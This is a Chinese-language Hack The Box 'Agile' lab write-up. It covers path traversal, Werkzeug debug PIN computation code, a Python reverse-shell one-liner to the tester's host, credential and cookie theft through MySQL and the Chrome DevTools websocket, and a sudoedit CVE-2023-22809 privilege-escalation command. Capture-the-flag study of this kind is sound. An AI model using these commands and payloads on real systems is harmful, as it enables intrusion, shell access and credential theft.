Sora129
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
HTB_Agile靶机writeup
在/etc/hosts添加 10.10.11.203 superpass.htb
用nmap扫一下,nmap -p- -sC --min-rate 5000 10.10.11.203,开了22和80.
打开网页,注册账号后,发现是一个保存密码的网站
试一下export看看有没有什么交互.
发现在响应这,有一个接口:/download?fn=,试一下发现时在tmp目录下,并且存在敏感信息泄露
/download?fn=../etc/passwd
收集用户的信息
- root
- www-data
- corum
- edwards
- dev_admin
同时还泄露了一些源码
/app/app/superpass/views/vault_views.py
/app/venv/lib/python3.10/site-packages/flask_login/utils.py
/app/venv/lib/python3.10/site-packages/flask/app.py
查看vault_views.py的源码:
发现
猜测应该可以遍历目录,放到bp里使用改id参数进行爆破看看有没有用户泄露,经过爆破后并没有数据
import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password
blueprint = flask.Blueprint('vault', __name__, template_folder='templates')
@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
passwords = password_service.get_passwords_for_user(current_user.id)
print(f'{passwords=}')
return {'passwords': passwords}
@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
p = Password()
p.password = get_random(20)
return {"p": p}
@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
return ''
p = password_service.add_password(site, username, password, current_user.id)
return flask.render_template('vault/partials/password_row.html', p=p)
@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
flask.abort(500)
p = password_service.update_password(id, site, username, password, current_user.id)
return {"p": p}
@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
password_service.delete_password(id, current_user.id)
return ''
@blueprint.get('/vault/export')
@login_required
def export():
if current_user.has_passwords:
fn = password_service.generate_csv(current_user)
return flask.redirect(f'/download?fn={fn}', 302)
return "No passwords for user"
@blueprint.get('/download')
@login_required
def download():
r = flask.request
fn = r.args.get('fn')
with open(f'/tmp/{fn}', 'rb') as f:
data = f.read()
resp = flask.make_response(data)
resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
resp.mimetype = 'text/csv'
return resp
突然间没有思路了,发现这个可以调试bug,想想可以生成PIN进行调试.
在Werkzeug / Flask Debug - HackTricks中有很详细的操作过程,需要一下几个参数,同时可以利用敏感目录查看.
probably_public_bits = [
www-data,
flask.app,
wsgi_app #getattr(app, '__name__', getattr(app.__class__, '__name__')),
app/venv/lib/python3.10/site-packages/flask/app.py #getattr(mod, '__file__', None),
]
private_bits = [
345052396792 #str(uuid.getnode()),
ed5b159560f54721827644bc9b220d00system.slice/superpass.service #get_machine_id(),
]
usernam | modname | name | file | uuid.getnode() | get_machine_id() |
---|---|---|---|---|---|
www-data | flask.app | wsgi_app | /app/venv/lib/python3.10/site-packages/flask/app.py | 345052396792 | ed5b159560f54721827644bc9b220d00superpass.service |
import hashlib
from itertools import chain
probably_public_bits = [
'www-data',
'flask.app',
'wsgi_app' #getattr(app, '__name__', getattr(app.__class__, '__name__')),
'/app/venv/lib/python3.10/site-packages/flask/app.py' #getattr(mod, '__file__', None),
]
private_bits = [
'345052396792' #str(uuid.getnode()),
'ed5b159560f54721827644bc9b220d00superpass.service' #get_machine_id(),
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到PINcode:980-186-899
使用以下命令
importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.112",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
在/app/app/config_prod.json中发现mysql的账户
看看数据库中有没有什么有用的信息
发现了corum用户的密码5db7caa1d13cc37c9fc2,尝试用ssh连接,并发现user.txt
寻找一番后发现,在/app/app/superpass/app.py中,可以看到整个网站可能是通过5555端口进行测试的
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session
app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
def register_blueprints():
from superpass.views import home_views
from superpass.views import vault_views
from superpass.views import account_views
app.register_blueprint(home_views.blueprint)
app.register_blueprint(vault_views.blueprint)
app.register_blueprint(account_views.blueprint)
def setup_db():
db_session.global_init(app.config['SQL_URI'])
def configure_login_manager():
login_manager = LoginManager()
login_manager.login_view = 'account.login_get'
login_manager.init_app(app)
from superpass.data.user import User
@login_manager.user_loader
def load_user(user_id):
from superpass.services.user_service import get_user_by_id
return get_user_by_id(user_id)
def configure_template_options():
jinja_partials.register_extensions(app)
helpers = {
'len': len,
'str': str,
'type': type,
}
app.jinja_env.globals.update(**helpers)
def load_config():
config_path = os.getenv("CONFIG_PATH")
with open(config_path, 'r') as f:
for k, v in json.load(f).items():
app.config[k] = v
def configure():
load_config()
register_blueprints()
configure_login_manager()
setup_db()
configure_template_options()
def enable_debug():
from werkzeug.debug import DebuggedApplication
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.debug = True
def main():
enable_debug()
configure()
app.run(debug=True)
def dev():
configure()
app.run(port=5555)
if __name__ == '__main__':
main()
else:
configure()
随后端口转发到5555端口,ssh -L 5555:127.0.0.1:5555 corum@10.10.11.203,并没有发现什么.
再看看其他端口,转发到41829端口 ssh -L 41829:127.0.0.1:41829 corum@10.10.11.203
发现页面中什么都没有,扫描一下目录看看有没有什么东西.发现了两个目录一个是json目录还有一个是devtools目录.
发现这是一个调试界面的json数据,上网查查看webSocketdebuggerurl是什么?得知这个是一个远程调试网页的协议,去HackTricks搜一下有没有相关的漏洞,Cross-site WebSocket hijacking (CSWSH) - HackTricks我们可以从这片文章中找到答案,告诉我们使用websocket发送连接可以返回cookie,Releases · vi/websocat (github.com)
连接成功后要与服务器进行通讯,从中可以得到信息,就是必须要json数据并且要有id,method,sessionid,params,先试试id和method
下面说明id必须与method一起用,试试**{“id”:1,“method”:“Network.getAllCookies”}**
得到了一下的cookie:
同时我想到之前的5555端口是一个测试页面,可能这个cookie可能与测试页面有关,将这里的cookie替换后登录账户发现是edwards的账户密码.
site | username | password |
---|---|---|
agile | edwards | d07867c6267dcb5df0af |
dedwards__ | 7dbfe676b6b564ce5718 |
采用sudo -l看看我们能用root权限干什么.
看一下sudo的版本.通过百度可以查到1.99版本的漏洞-->Sudo Arbitrary File Write: CVE-2023-22809 - tonyharris.io
发现可以通过漏洞写入文件,那么我们可以写入提权命令,然后再执行,看看有没有时间任务在服务器上.使用pspy可以看到.
sudo -u dev_admin EDITOR='vim -- /app/venv/bin/activate' sudoedit /app/config_test.json成功用vim打开,最后写入一段提权脚本,等待几分钟
提权成功,拿到flag.https://www.hackthebox.com/achievement/machine/1552614/532
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)